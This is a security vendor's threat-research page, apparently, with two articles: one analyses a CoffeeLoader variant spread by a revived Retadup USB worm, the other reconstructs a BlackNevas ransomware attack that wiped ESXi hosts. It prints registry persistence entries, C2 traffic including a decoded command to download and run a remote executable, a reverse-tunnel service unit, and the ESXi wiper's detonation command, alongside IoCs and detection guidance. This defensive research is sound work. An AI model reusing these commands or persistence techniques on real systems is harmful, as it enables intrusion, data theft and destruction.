Viry a Červi
A USB worm’s second life: Retadup spreading CoffeeLoader
In August 2026, we detected a new variant of the CoffeeLoader malware in the wild. On launch, the NSIS-based installer executable dropped a file named 7z.dll into a temporary directory and ran it through rundll32.exe. The 7z.dll file was a patched version of the original library of the popular 7-Zip archiver. Part of its code had been replaced with malicious self-decrypting shellcode that turned out to be a new version of the Armoury packer. This packer was also previously used in the CoffeeLoader Trojan.
New Armoury variantThe old variant of the Armoury packer used the GPU to decrypt the Trojan’s main body, relying on the OpenCL library, which implements the standard of the same name for high-performance computing.
__kernel void f(__global char* a,__global char* b,__global char* c,int d) { c[get_global_id(0)] = a[get_global_id(0)] ^ b[get_global_id(0) % d]; }The new variant also utilizes the GPU, but instead of OpenCL, it uses the OpenGL library, which implements the eponymous standard for applications that work with 2D and 3D graphics.
layout(local_size_x = 256) in; layout(std430, binding = 0) buffer DataBuffer { uint data[]; }; layout(std430, binding = 1) buffer KeyBuffer { uint key[]; }; layout(std430, binding = 2) buffer ResultBuffer { uint result[]; }; void main() { uint index = gl_GlobalInvocationID.x; if (index >= data.length()) { return; } uint dataValue = data[index]; uint keyValue = key[index]; result[index] = dataValue ^ keyValue; }The Armoury payload has also changed. Previously, it was a DLL containing two shellcode fragments and the main body of CoffeeLoader. The first shellcode is a dropper responsible for installing the Trojan and gaining persistence. To do this, it copies the library to Windows folders and adds it to autorun. The second is a stager that creates a new dllhost.exe process and injects the main body of CoffeeLoader into it; in this variant, the main body is an executable file. Unlike the old version, the new version of the packer delivers yet another shellcode.
CoffeeLoader downloaderThe shellcode decrypted by the Armoury packer is a new intermediate link in the infection chain: the CoffeeLoader downloader. It fully incorporates the dropper and stager functionality described above, as well as downloader functions used to fetch the Trojan’s main body.
New CoffeeLoader downloader viewed in a text editor
To establish persistence, the Trojan copies 7z.dll to subfolders of %PROGRAMDATA% or %LOCALAPPDATA%. The Run registry key is used for autorun. The subfolder, library, and registry value are named with eight hexadecimal digits generated from system volume information.
C:\ProgramData\b79faace\b79faace.dll C:\Users\[username]\AppData\Local\b79faace\b79faace.dllSoftware\Microsoft\Windows\CurrentVersion\Run 'b79faace.dll' = 'rundll32.exe "C:\ProgramData\b79faace\b79faace.dll",SetCodecs'To protect itself, the downloader creates a registry key that prevents the user from disabling autorun through Task Manager.
Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run 'b79faace.dll' = [080000000000000000000000]Once persistence is established, the malware launches one of several processes (dllhost.exe, WerFault.exe, svchost.exe, OpenWith.exe, or AtBroker.exe), injects itself into it, and downloads the Trojan’s main body from a hardcoded C2 server address. The download is performed over HTTPS using the /payload?md5= path. On the first request to the server, the md5 parameter is set to zeros. On subsequent requests, it contains the hash of the previously downloaded payload.
Example of a request to download the main body of CoffeeLoader:
GET /payload?md5=00000000000000000000000000000000 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 Host: api.internet-speed-check.comExample of a server response:
HTTP/1.1 200 OK Date: Tue, 29 Sep 2026 14:34:25 GMT Content-Type: application/octet-stream Content-Length: 60800 Connection: close Server: cloudflare x-content-md5: d7785198d9341310978e4cedc7bdb735 x-signature: MEUCIDQNr86sBN3hmnLarIuPJ2WJEtXeIdnfsR4AkHUBI0AtAiEAyV5o2VM+LPDbme8nYdRydkrtI02TzyNdKh7+AdvPzUs= strict-transport-security: max-age=63072000; includeSubdomains x-frame-options: DENY x-content-type-options: nosniff cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4,cfOrigin;dur=66 Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=AAAAAAAA"}]} CF-RAY: cf27d75a42bb5669-MIA alt-svc: h3=":443"; ma=86400In response to the request, the C2 returns encrypted shellcode that contains the main body of the Trojan. The payload is encrypted with a simple XOR, and the first 16 bytes of the downloaded data serve as the key.
The HTTP response header also contains two fields: X-Signature and X-Content-MD5. The first contains a signature for the downloaded data, which is verified with a public key embedded in the Trojan.
RUNTMSAAAAC2gVlbqvpsSutLE0/4ogdQ20Uw4qQyQQCw7448NvjMOaYWr+mlrvWiDCg79jWIhjiIuGuqxTb9VMsuceH4WyA5The second field contains the MD5 checksum of the decrypted payload body.
If both the signature and the checksum checks pass, the Trojan allocates executable memory in its own process and transfers control to the downloaded and decrypted shellcode.
Main CoffeeLoader moduleOnce it gains control, the shellcode decrypts and sets up the main body of CoffeeLoader, then passes control to it. The Trojan itself hasn’t changed much since previous campaigns. In the new version, the attackers use different keys to encrypt requests to the C2 and decrypt its responses: A21251838432306F2CD2540593656B9E and 2026F751079659CF71C7BA64B345C12A.
Certificate validation during the connection to the C2 has been replaced with signature verification of the C2 responses, which relies on the public key 23:6A:0D:E7:E0:FA:20:BC:0F:F4:7C:F6:8F:49:89:A8:10:BE:91:F0:0F:C2:F3:99:4D:46:F7:DF:D2:33:0B:00:6D:54:7A:AA:92:45:89:16:84:48:2E:AF:B8:F7:75:8A:4C:39:07:C5:24:EA:9D:3A:C6:FD:13:61:7D:54:19:FA. The binary communication protocol no longer uses the magic constant 0xC0FFEE42, which gave the malware its name: it now uses the far less telling value 0xD1D57871.
However, we found no changes in functionality. The code contains the same three previously described commands for running a payload received from the C2: injecting it into a process, saving it to disk as an executable and then running it, or saving it as a DLL and running it via rundll32.exe.
Distribution and initial infectionThe most notable finding was how exactly this CoffeeLoader variant spreads. Malware is most often distributed through email attachments, websites posing as free software download portals, ad banners that send users who click them through a chain of redirects to phishing resources, pirated software, and so on. CoffeeLoader infections, however, come from the Retadup worm.
Retadup is a malicious computer worm first discovered in 2017. It was written in the AutoIt and AutoHotkey scripting languages. Once on a victim’s device, it copied itself to all connected USB flash drives and external drives as hidden files and shortcuts (LNK files). When a user opened the infected flash drive on another PC and clicked the shortcut, the worm made its way onto the new device. Systems infected with Retadup were joined into a botnet that could download and run additional malware on the operator’s command.
In July 2019, French law enforcement gained access to Retadup’s C2 servers and took control of the botnet. As soon as an infected computer checked in with the server for new commands, it was instructed to wipe the worm body from the system. Within just a few weeks, more than 850,000 machines were disinfected, and the botnet ceased to exist… until 2024.
Two years ago, someone began re-registering the domain names that Retadup had used as C2 servers and using them to issue commands to download third-party malware. At first, this was the SmokeLoader downloader packed using the 32-bit version of Armoury, but in early 2025, the same servers started serving CoffeeLoader.
We don’t know whether it was the worm’s author or someone else that decided to revive the C2 servers, since Retadup’s C2 protocol is fairly simple: it consists of plaintext commands encoded with Base64 and then converted to hex.
Below is an example of traffic from a 2017 Retadup variant that still communicates successfully with its C2 in 2026.
GET /FD0C7EE872277F33E3335530299B836A/1/4/1/0/empty HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.4.0 (WinHTTP/5.1) like Gecko Host: noobminer.newblackage.com HTTP/1.1 200 OK Server: nginx Date: Thu, 06 Aug 2026 04:07:32 GMT Content-Type: text/html Content-Length: 68 Connection: keep-alive ::62327438664878386332786c5a5841744e6a41774d4441774c584e735a575677:: decoded command: "ok||||sleep-600000-sleep" HTTP/1.1 200 OK Server: nginx Date: Mon, 10 Aug 2026 04:18:43 GMT Content-Type: text/html Content-Length: 180 Connection: keep-alive ::623274386648783849475276643235736232466b4c576830644841364c79397964584a715a6e5a754c6e4a7a4c3356775a4746305a53356c654755364954703163475268644755755a58686c4c575276643235736232466b:: decoded command: "ok|||| download-http://rurjfvn.rs/update.exe:!:update.exe-download" GeographyWhen the Retadup botnet was taken down in 2019, the reported figure was 850,000 disinfected systems. Our statistics for the first three quarters of this year show that the new campaign is much smaller in scale. Our solutions blocked Retadup worm infection attempts on around 15,000 systems, most of them in Peru, Angola, Russia, and Bolivia.
IoCMost active Retadup C2 servers
alphanoob[.]com
newblackage[.]com
newminersage[.]com
radnewage[.]com
minernewage[.]com
rad2016.publicvm[.]com
radpal.publicvm[.]com
roro2016.linkpc[.]net
CoffeeLoader C2
internet-speed-check[.]com
Servers hosting CoffeeLoader files
rurjfvn[.]rs/update.exe
alphanoob[.]com/update.exe
CoffeeLoader MD5 (DLL files)
2272dde17925d6179bea6fcf4d543d20
dce55eec553f6af16ba6481eaacb8638
449c9e8bc6eb308aa3c46c88959e1a4f
CoffeeLoader MD5 (NSIS-based installers)
58886d45a0c5e802a5d0a7545c36112d
cca710c5455c1fe2732771afbac16a09
Big Tech takes a beating as online safety experts accuse companies of doing bare minimum
This year’s bug count just passed 100K
Quantum Systems drones back in the air after malware scare
Crackdown on UK medical record snooping after staff reported sneaking 300+ times this year
Brit police watchdog says cops' use of facial recog risks wrongful arrests
Ransomware at the hypervisor layer: how attackers use ESXi and vCenter features for malicious purposes
Our Global Emergency Response Team (GERT) recently investigated an engagement in which an adversary destroyed an organization’s virtualization estate over a 10-day period. The campaign targeted four ESXi hosts, every virtual machine hosted on them, both vCenter Server Appliances, and all connected backup infrastructure. The ransom notes identified the attacker as the BlackNevas group, first observed in November 2024. What’s interesting about this attack is that no virtualization layer vulnerabilities were exploited: no guest-to-host escapes, no hypervisor memory corruption. Every action taken against ESXi was executed through legitimate VMware management interfaces.
In September 2021, the Babuk ransomware source code was leaked online, including its ESXi version, which made ESXi ransomware accessible to cybercriminals with relatively low technical skills. At least ten subsequent ransomware families have leveraged this leaked code, including groups that otherwise lacked the expertise to develop ESXi-compatible ransomware lockers from scratch. We saw multiple operators using Babuk-derived ESXi lockers along with the leaked LockBit Windows builds. It is worth noting that while the Babuk ESXi version may target both old and up-to-date systems, the target organizations run unsupported ESXi versions, making them easier to attack.
This article examines why the hypervisor layer remains difficult to monitor, what common access paths adversaries use to reach it, and how they establish persistence on the management plane. We’ll also look into the architecture of ESXi encryptors, the deliberate destruction of backup infrastructure, and the log sources that enable post-incident reconstruction. At the end of this article, we’ll provide indicators of compromise recovered during the investigation.
Ten days of dwell time from initial access to the destructive phase. Timeline reconstructed from incident evidence
Why the hypervisor changes ransomware economicsVirtualization enables cost-effective and efficient resource management, simplifies simultaneous updates and policy enforcement. However, at the same time it reduces the number of control points and enables broader impact in case of a cyberattack. In non-virtualized environments, a single guest compromise normally affects one operating system. Compromise of the virtualization management plane gives the attacker access to many hypervisor hosts, while direct impact on an ESXi datastore can render many guest systems unavailable at once. This makes the hypervisor layer an attractive target for ransomware operators, especially when domain controllers, application servers, databases, and backup workloads share the same virtualized estate.
According to Kaspersky’s global cybersecurity services report, ransomware accounted for 39.4% of incidents GERT handled in 2025, and the data for the beginning of 2026 shows that it remains a major threat. Back in 2023, SentinelOne documented that multiple ransomware families are using ESXi lockers derived from the leaked Babuk source code, which lowered the development barrier for actors who otherwise lacked the necessary expertise to build ESXi-capable samples. This makes ransomware targeting virtualization environments more accessible to a broader range of threat actors, and this trend is still with us.
ESXi is a specialized hypervisor based on VMware’s proprietary VMkernel. It shares certain similarities with Linux (and other Unix-like systems), accepts Linux commands and runs certain Linux-like software, but it is different from general-purpose Linux distributions. Broadcom states that off-the-shelf security tools designed for general-purpose operating systems cannot run on ESXi without workarounds and that direct installation of third-party agents or antiviruses on ESXi and vCenter Server Appliance (VCSA) is not supported. Defenders therefore rely heavily on built-in hardening, management-plane telemetry, agentless security solution integrations, and telemetry collection from the infrastructure outside ESXi hosts.
Guest operating systems are usually protected by EDR software, but if an ESXi-side process modifies a virtual machine disk (VMDK) or related datastore file, an EDR agent inside a guest cannot directly observe or attribute the hypervisor process performing the operation. Guest telemetry may record consequences, such as I/O failures or an abrupt shutdown, but the malicious execution occurs outside its boundary. In the engagement examined here, this made host-native and management-plane telemetry central to the incident timeline reconstruction.
How attackers reach the virtualization layerThere are different routes into the environment that require different controls, but can ultimately provide access to the centralized virtualization management plane and the ESXi hosts it controls. In this article, we’ll look into four main routes that may lead to virtualization infrastructure compromise:
- Vulnerability exploitation
- Credential reuse from the Windows estate
- Active Directory integration abuse
- Backup infrastructure as a credential bridge
The virtualization trust stack and recurring entry paths
Vulnerability exploitationIn the incident we analyzed, there was no evidence pointing to an ESXi vulnerability as the initial access path. Nevertheless, public vulnerabilities remain important because they have been used to compromise the virtualization management infrastructure. With the exploits available online, this is one of the most probable entry routes. Below you can find several examples of vulnerabilities affecting virtualization environments that have been seen exploited by the attackers. For example, the Twelve group chained CVE-2021-21972 and CVE-2021-22005 to plant a web shell directly on a vCenter appliance, which loaded a backdoor that then established persistence by injecting a shared object into the SSH daemon. Note that these vulnerabilities are not related to the incident in question and they are provided merely as an initial access vector illustration, which could help defenders define their relevant attack surface and prioritize patching activities.
CVE Layer Security effect KEV* Why it matters here CVE-2021-21974 ESXi OpenSLP Remote code execution in vulnerable OpenSLP service No Historically associated with discussion around the ESXiArgs ransomware. CVE-2021-22005 vCenter Server Arbitrary file upload leading to remote code execution Yes Documented use in ransomware-related activity. CVE-2021-21972 vCenter plugin Unauthenticated RCE via vSphere Client plugin Yes Documented use in ransomware-related activity. CVE-2021-21985 vCenter VSAN Health Check plugin Remote code execution Yes Documented use in ransomware-related activity. CVE-2023-34048 vCenter DCERPC Out-of-bounds write leading to RCE Yes Known exploited vulnerability affecting vCenter. Although there’s no data about its involvement in ransomware incidents, it is worth noting due to its impact on the virtualization management plane. CVE-2024-37085 ESXi AD integration AD permissions can become full ESXi administration Yes Documented use in ransomware-related activity. It also highlights the risks arising from the relationship between AD identities and administrative access to ESXi. CVE-2024-38812 / 38813 vCenter DCERPC RCE / privilege escalation to root Yes Known exploited vulnerabilities affecting vCenter. Although there’s no data about their involvement in ransomware incidents, they are worth noting due to their impact on the virtualization management plane. CVE-2025-22224 / 22225 / 22226 ESXi / Workstation / Fusion Guest-to-host chain requiring prior guest privileges Yes Known exploited vulnerabilities allowing attackers to perform a guest-to-host attack chain. CVE-2025-22225 exploitation has been seen in ransomware incidents. However, this attack chain requires privileged access to a guest VM, which makes it less critical than unauthenticated RCEs.* Known Exploited Vulnerabilities database maintained by CISA. KEV status indicates that exploitation of a vulnerability has been observed in the wild, but does not by itself indicate ransomware use. Where ransomware use is documented, it is stated separately. Neither KEV status nor known exploitation by ransomware actors means that the vulnerability was used in the incident in question.
Active Directory integrationCVE-2024-37085 is a useful illustration of why it is crucial to authenticate to different systems separately even when the hypervisor itself is patched. The vulnerability affects ESXi hosts configured to use AD for user management. According to Microsoft, it is exploited by ransomware operators, including Akira and Black Basta, abusing the ESX Admins group behavior to obtain full ESXi administration. CISA lists the issue in their KEV catalog and notes that it has been used in ransomware incidents.
The vulnerability is fixed in ESXi 8.0 U3. For older systems, Broadcom recommends the following workaround:
- Change the esxAdminsGroupAutoAdd value from true to false.
- Change authValidateInterval from 1440 to 90 minutes.
- Clear the default ESX Admins group mapping where appropriate.
These controls reduce exposure, but the architectural lesson is broader: domain compromise should not automatically allow the adversary to obtain hypervisor admin rights.
Recommendation for defendersAvoid unnecessary direct Active Directory dependency on ESXi hosts. Where business requirements demand it, stick to the principle of least privilege: add only those accounts to administrative groups that really need this level of access, use separate admin accounts with separate credentials for the domain and for hypervisors, restrict access to the ESXi and vCenter management interfaces to only those network segments, accounts and workstations that are necessary to control it, and continuously validate ESXi permission changes. vCenter role-based access control (RBAC) and identity federation should be configured for virtualization administration, while ordinary enterprise credentials and broad domain groups should not be used to access vCenter or ESXi with high privileges.
Credential reuse from the Windows estateThe third path requires no vulnerability. Administrative credentials present on domain controllers, jump servers, backup systems, identity infrastructure or administrator workstations may provide access to vCenter or ESXi if the same admin accounts are used across different infrastructure segments. MITRE ATT&CK treats the Valid Accounts technique as applicable to ESXi and specifically notes that compromised default or domain accounts can provide privileged access to other systems.
In this incident , credentials obtained from non-virtualization systems inside the organization’s perimeter were used to reach the vCenter Server Appliances. Unlike vulnerability exploitation, successful authentication with a valid account may appear operationally normal. To reliably detect such activity, analysts must therefore evaluate the source host, account history, time, destination, subsequent administrative actions, and whether the authenticated account normally manages virtualization infrastructure.
Backup infrastructure as a credential bridgeBackup platforms are not passive storage. They commonly require service accounts, hypervisor credentials, repository access and broad network reach so they can protect and restore critical workloads. This makes the backup server a concentrated trust point. In this incident, the adversary extracted stored credentials after gaining administrative execution on backup infrastructure, creating a route toward other infrastructure tiers.
Persistence on the management planeWith the potential risk possibilities explained, let’s go back to our case study. The attackers managed to compromise via SSH the vCenter appliance managing virtualization disaster recovery where they established two layers of persistence. The first used MeshAgent, the endpoint component of the legitimate MeshCentral remote management platform. The second used Ligolo-ng as a reverse tunnel implemented as a systemd service. This activity maps to two ATT&CK techniques: Systemd Service (T1543.002) and Protocol Tunneling (T1572).
The timeline was as follows. The attackers authenticated on the appliance as root via SSH. Forty-three seconds later, they fetched and deployed MeshAgent through a shell script. The SSH session lasted 2 minutes and 26 seconds in total. After it ended, the adversary didn’t use SSH to access the compromised appliance anymore, thus reducing the usefulness of monitoring focused only on interactive SSH sessions. Roughly four hours later, they returned through MeshAgent and installed the Ligolo-ng tunnel as a persistent systemd unit.
Unit file /etc/systemd/system/vmware-vdma.service Service vmware-vdma Description "DNS, time, VM settings sync (v2.03.24766)" ExecStart /opt/vmware/bin/agent Restart always Strings in /opt/vmware/bin/agent: Ligolo-ng v0.8.2 api.cloudvflare[.]com:443VCSA persistence artifact: /etc/systemd/system/vmware-vdma.service
The unit uses a VMware-like prefix, places its binary under /opt/vmware/bin/, describes plausible appliance housekeeping functions, and requests Restart=always. A defender should not treat any unrecognized VMware-looking service as malicious by default, because custom integrations may exist, but a service absent from the list of services the organization defines as trusted is a high-confidence anomaly requiring immediate validation.
Beyond the incident in question, more advanced ESXi persistence techniques have also been documented. For example, Mandiant observed attackers using malicious vSphere Installation Bundles (VIBs) as a persistence mechanism on compromised ESXi hosts. This demonstrates that attackers with administrative access can establish persistent access at the hypervisor layer, including persistence that survives host restarts. However, this incident shows that common remote-management software and a systemd service can be sufficient when vCenter itself is trusted and poorly monitored.
Turning vCenter into an offensive control planeOne interesting technique observed in the incident was the use of vCenter Host Profiles. Host Profiles are intended to capture and enforce configuration across ESXi hosts. A Host Profile can be applied to separate hosts, clusters of hosts or all hosts associated with a profile. It also may contain subprofiles covering specific configuration aspects, e.g., authentication. Among other things, Host Profiles may contain configuration for Tech Support Mode (TSM) and TSM-SSH.
In this incident, the adversary used Host Profiles to change TSM-SSH service state to enable SSH on target ESXi hosts. The evidence recorded the following sequence:
Offset Source Observed event Primary evidence T+0 vCenter Host configuration read through Host Profile workflow vpxa.log T+10m18s vCenter Configuration change pushed to enable SSH vpxa.log T+10m51s vCenter / ESXi TSM-SSH service reached RUNNING state, indicating that SSH has been enabled on the host and it is accessible from a remote device vpxa.log + vobd.logHost Profile manipulation sequence observed before direct ESXi access
Note that the 33-second interval between the configuration push and TSM-SSH reaching RUNNING state is short enough for us to be able to quickly correlate these events by comparing logs from different sources. Overall, it took the attacker eleven minutes after the initial configuration read to reconfigure the host from policy-disabled SSH to direct remote access support. Subsequently, direct SSH access to the target ESXi hosts originated from the vCenter appliance IP, a source that would normally be considered highly trusted on the management network.
Compromise of the management plane converted a legitimate compliance mechanism into an access path to the managed hypervisor
Why ESXi configuration change via vCenter is a trust-boundary failureHost hardening is important, but centrally administered controls should not be considered independent once the central management tool is compromised. If vCenter has authority to modify host state, an attacker controlling it may be able to make a malicious change look structurally similar to legitimate compliance activity: read configuration, apply a desired state, and observe the result. The distinguishing context becomes authorization, the timing, the source account, the change window, and whether the desired state itself weakens security.
This is why vCenter should be treated as a Tier 0 asset and provided with the highest possible level of protection. Management-plane administrative accounts should be isolated from ordinary enterprise administration, network access should be restricted to dedicated management paths, high-risk configuration changes should require strong authentication and monitoring, and vCenter-to-ESXi traffic should be thoroughly compared to a normal behavior baseline (connection patterns, ports, protocols, source and destination systems) rather than implicitly trusted. All significant discrepancies should be treated as suspicious and investigated.
High-fidelity detection opportunityAn alert should be generated when Host Profile compliance (or remediation in VMware terms) changes TSM or TSM-SSH configuration outside an approved window, particularly when followed by a new SSH session from vCenter or another management appliance. This sequence is more precise than alerting on SSH alone because each step is legitimate in isolation but dangerous in combination.
Notes on ESXi abuse: living-off-the-land tools and controls to monitorOnce an attacker can administer ESXi, many destructive actions require no exploit. LOLESXi project catalogs native ESXi binaries and scripts that have been abused by threat actors, including administrative utilities that enumerate VMs, control power state and alter configuration. This mirrors living-off-the-land behavior on Windows, but the target is the hypervisor control plane.
There are two ESXi hardening mechanisms, and changes to either can be viewed as highly suspicious. Host acceptance level controls which VIBs are allowed to install. The execInstalledOnly setting controls whether non-installed binaries may execute. Broadcom states that ESXi 8 enables the execInstalledOnly runtime option by default and warns that disabling it allows unknown non-installed binaries to execute, increasing ransomware risk. There is also a kernel enforcement setting with the same name, which is related to the runtime option, but distinct. Changes to that may require a reboot.
Control What it governs Why a change is suspicious Useful evidence Host acceptance level Which VIB packages can be installed Lowering to a less trusted level expands what the host will accept esxcli / config events / esxupdate.log execInstalledOnly runtime Execution of binaries not installed through VIB packages Value 0/FALSE permits non-installed code to run vobd.log + advanced settings execInstalledOnly kernel enforcement Stronger VMkernel boot-level enforcement that restricts execution to files that were installed through VIB packages and were not subsequently modified. Weakening may require a reboot and changes the security baseline kernel settings + boot historyESXi controls that the attackers may try to weaken
Inside the ESXi impact phase Stopping virtual machines before impactMature ESXi lockers generally stop guest machines before modifying virtual-disk data because running VMs hold active state and file locks. Different families implement this in different ways, which creates useful behavioral detections. The families described below are not related to the incident in question, but these descriptions may be useful for ransomware protection in general.
Ransomware family Observed or documented VM stop approach GwisinLocker, LockBit, Conti Enumerate worlds with a esxcli vm process list command and terminate individual worlds with a esxcli vm process kill command. AvosLocker, RedAlert (aka N13V) Use a single shell pipeline for both world enumeration and force kills. Hive, fcker.py Use vim-cmd vmsvc/power.off for registered virtual machines. RansomHub ESXi builds Contain custom C++ logic that can enumerate and stop machines without relying on an esxcli or vim-cmd command sequence.How different ESXi locker families release VM state before starting destructive file operations
We don’t know the exact technique used to kill VMs in this incident. However, a rapid sequence of power-off or world-kill operations across many VMs is always a high-confidence pre-impact signal. In the case evidence, the disaster-recovery host showed all VMs stopping within 23 seconds, while vmksummary.log, which stores the number of running VMs each hour, showed it dropping from normal VM counts to zero.
Payload delivery and FlowSsh behaviorThe payload was delivered to ESXi via SFTP. The auth.log authentication log file exposed a client identifier associated with FlowSsh, Bitvise’s SSH client library for C, C++ and .NET. FlowSsh supports SFTP, remote execution requests, interactive shell sessions and tunneling. Those capabilities fit the observed delivery model, but the library identification should rest primarily on the recorded client identifier rather than on behavioral inference alone.
After the payload was delivered, the following series of commands was executed. We reconstructed this sequence primarily from the shell.log file.
Offset Observed command Analytical note T+0 true No-op probe in a dedicated session. T+1s chmod +x /tmp/esx64 Separate execution session. T+1m48s true Second no-op probe. T+1m49s ./tmp/esx64 /selftest Separate execution session; payload validation stage.Each command pair was preceded by a session executing only true. This repeating pattern is consistent with automated FlowSsh channel setup, but in isolation, it can’t be considered a reliable indicator of the tool in use. Human operators could have typed true as well, and other automation frameworks could have emitted reachability probes. The sequence should therefore be hunted as a behavioral fingerprint, not treated as a unique signature for FlowSsh. Its value increases when combined with an unusual SSH client identifier, SFTP staging to /tmp, chmod, and a subsequent self-test or payload execution.
The three-hour self-test windowThe /selftest execution ran for approximately 16 seconds and occurred roughly three hours before final detonation. A pre-impact test run may suggest that the operator was validating compatibility with the target ESXi build before proceeding to destructive execution.
Pre-impact detection opportunityTreat unexpected executable staging under /tmp, followed by execution and subsequent access to /vmfs, as a critical pre-impact sequence. While individual indicators such as chmod +x may be ambiguous in isolation, unexpected execution of a newly staged executable from /tmp can itself be a strong indicator of malicious activity. The complete sequence provides stronger contextual evidence by linking payload staging, execution, validation, and subsequent access to the VM storage layer.
Detonation command and evidence confidenceThe attackers executed the following command to trigger the destructive activity.
./tmp/esx64 /p /vmfs/ /depth 5 /wipe /allsys /detach /-showvolumesObserved ESXi detonation command
Let’s break it down into separate parameters and analyze their forensic usefulness. Parameter interpretation is accompanied by confidence level, because exact implementation details cannot be reconstructed without the binary.
Parameter Observed or corroborated meaning Interpretation confidence /p /vmfs/ Target path is the VMFS root where virtual-machine files reside. High: direct command + platform path. /depth 5 Directory recursion depth. High: conventional argument meaning and observed placement. /wipe Overwrite/wipe behavior; ._wipe artifacts were present across datastores. High for destructive behavior, medium for exact implementation. /allsys Include system files. This aligns with publicly documented BlackNevas/Trigona family behavior. Medium: the assessment is based on the comparison with the publicly documented malware family behavior; missing binary prevents direct validation. /detach Detach from the terminal; activity continued after SSH disconnect. High: external documentation + incident persistence of effects. /-showvolumes Suppress volume listing according to documented family parameters. Medium: comparative documentation only.The forward-slash argument style resembles the Trigona and BlackNevas command-line family. SentinelOne describes BlackNevas as a Trigona derivative with ESXi-capable builds and specialized switches, including /p or /path, /wipe, /depth, and /detach. That comparison strengthens attribution but does not replace a binary hash or reverse-engineered match.
Partial overwrite and what 2 KB actually impliesIncident artifacts indicated that approximately the first 2 KB of virtual disk files were overwritten. Damage to the beginning of a disk can destroy the protective MBR, primary GPT header, and other early boot or filesystem structures, which can immediately make a guest unbootable. However, the UEFI specification requires GPT media to keep both primary and backup GPT headers and partition-entry arrays in different locations. If the primary GPT is corrupt and the backup is valid, GPT-aware software should use the backup, which may help restore the primary. Therefore, an overwrite of the first 2 KB does not by itself mean that the partition metadata is unrecoverable. Practical recovery depends on whether additional boot records, filesystem metadata, volume structures, descriptors, or application data were also modified, and on the exact virtual-disk layout.
Destroying the recovery path firstIn this incident, backup infrastructure was not collateral damage. The attacker disabled antivirus protection on the backup environment days before the main attack, and later stopped backup services, encrypted the recovery infrastructure, and disrupted administrative access — all before ESXi detonation. The order of operations reduced the defenders’ ability to restore production when they needed it most.
Recovery capabilities were disrupted before the final ESXi impact. The relative timings are based on the incident sequence
This changes the definition of a resilient backup architecture. Storage immutability is valuable, but it does not protect the identities, management servers, repositories, network paths, credentials, or procedures required to perform system restoration. Recovery should be designed as a separate security boundary with independent administrative identities, restricted management paths, offline or logically isolated recovery options, tested restore procedures, and monitoring that does not depend on the production control plane.
Two recent vulnerabilities in Veeam are a perfect illustration of this. Although neither of these vulnerabilities was seen exploited in this case, they take advantage of weak privilege management policy, which may make them exploitable by any domain user, including those with the lowest privileges. CVE-2024-40711 is listed in CISA’s KEV database as a vulnerability exploited by ransomware. CVE-2025-23120 is more recent and still absent from KEV, but it is worth noting that according to Veeam, it allows RCE, but only affects domain-joined backup servers. The general lesson is not vendor-specific: a recovery system that depends on the same identity plane as production infrastructure can be compromised and used to achieve the attackers’ goals.
Detection and investigationThere are a number of log files that document ESXi events. These sources can reconstruct a destructive hypervisor incident even when no endpoint agent exists on ESXi. The limitation is retention. Broadcom states that ESXi logs internally to a ramdisk, which has limited space and gets cleared at reboot, and that persistent scratch or remote syslog is required if logs must survive reboot and local storage loss. We recommend collecting logs to remote storage to maintain forensic visibility into ESXi incidents.
Priority Source What it establishes Loss risk Acquisition note P1 auth.log SSH authentication, source, session timing, and client identifiers Medium Forward remotely; preserve before rotation. P1 shell.log Every ESXi Shell command, plus shell enablement and disablement Medium Highest-value command source. P1 vpxa.log Host-side vCenter actions, including management workflows Medium Correlate with vCenter Events and Tasks. P1 vobd.log Service-state changes, security observations, and execInstalledOnly events Medium Useful high-signal configuration evidence. P1 vCenter Events / Tasks Principal, object and administrative action Medium Export immediately if vCenter remains available. P1 VCSA systemd + filesystem Persistence units and referenced binaries Medium For /etc/systemd/system and /opt/vmware, validate the current filesystem and service configuration against the organization’s approved state P2 vmkernel.log / vmkwarning.log Storage, world lifecycle, and kernel warnings Medium Corroborates impact and host behavior. P2 vmksummary.log Hourly running-VM count and host heartbeat Medium Strong for impact scale; coarse timing. P2 esxupdate.log VIB / patch installation activity Medium Critical if malicious VIB installation is suspected. P2 vmware.log per VM VM-specific power and device events Medium At risk if the datastore is encrypted or wiped. P2 hostprofiletrace.log Host Profile application / compliance activity Medium Preserve for suspected Host Profile abuse. P3 fdm.log / vmauthd.log / syslog.log HA, port 902 and general daemon context Medium Useful corroboration after P1/P2 acquisition.Virtualization-layer telemetry ranked by investigative value. Retention is environment-specific; remote forwarding reduces the risk of losing the evidence with the host
High-confidence detection opportunitiesThis section provides a summary of the most valuable behavioral detection notes derived from the incident. The strongest rules correlate legitimate actions into an abnormal sequence rather than alerting on any one administration command.
Detection Behavior Telemetry Severity Host Profile -> TSM-SSH Host Profile remediation changes TSM-SSH from policy-disabled to running outside an approved change window. vCenter Events, vpxa.log, vobd.log Critical vCenter-originated direct SSH New SSH session from vCenter to ESXi after a security-state change. auth.log + network flow Critical New VMware-looking systemd unit New/modified unit in /etc/systemd/system referencing a non-baselined binary under a VMware-like path. VCSA filesystem / audit High execInstalledOnly weakened /User/execInstalledOnly becomes 0/FALSE or kernel enforcement is disabled. vobd.log + config audit Critical Acceptance level lowered Host acceptance level is changed to a less trusted level outside maintenance. vCenter / ESXi config High Automated SSH probe sequence true-only session followed seconds later by exec or chmod from the same source/client. auth.log + shell.log High when combined Payload validation Executable under /tmp performs a short self-test and later touches /vmfs. shell.log Critical Mass VM termination Many VM power-off or world-kill actions within seconds/minutes. shell.log, hostd.log, vCenter Tasks Critical Backup-first impact Backup services stop or security controls are disabled shortly before hypervisor changes. Windows/backup telemetry + vCenter Critical Datastore wipe artifacts Rapid creation of wipe markers or destructive writes across multiple VMFS volumes. filesystem + vobd/vmkernel Critical Example correlation logicBelow, we provide two examples of technology-neutral correlation logic that could be used to hunt for similar incidents. Note that they are not ready-made SIEM rules, but you can use them to develop your own rules.
Example 1: Host Profile abuse leading to direct ESXi access:
Example 2: pre-impact ESXi payload staging:
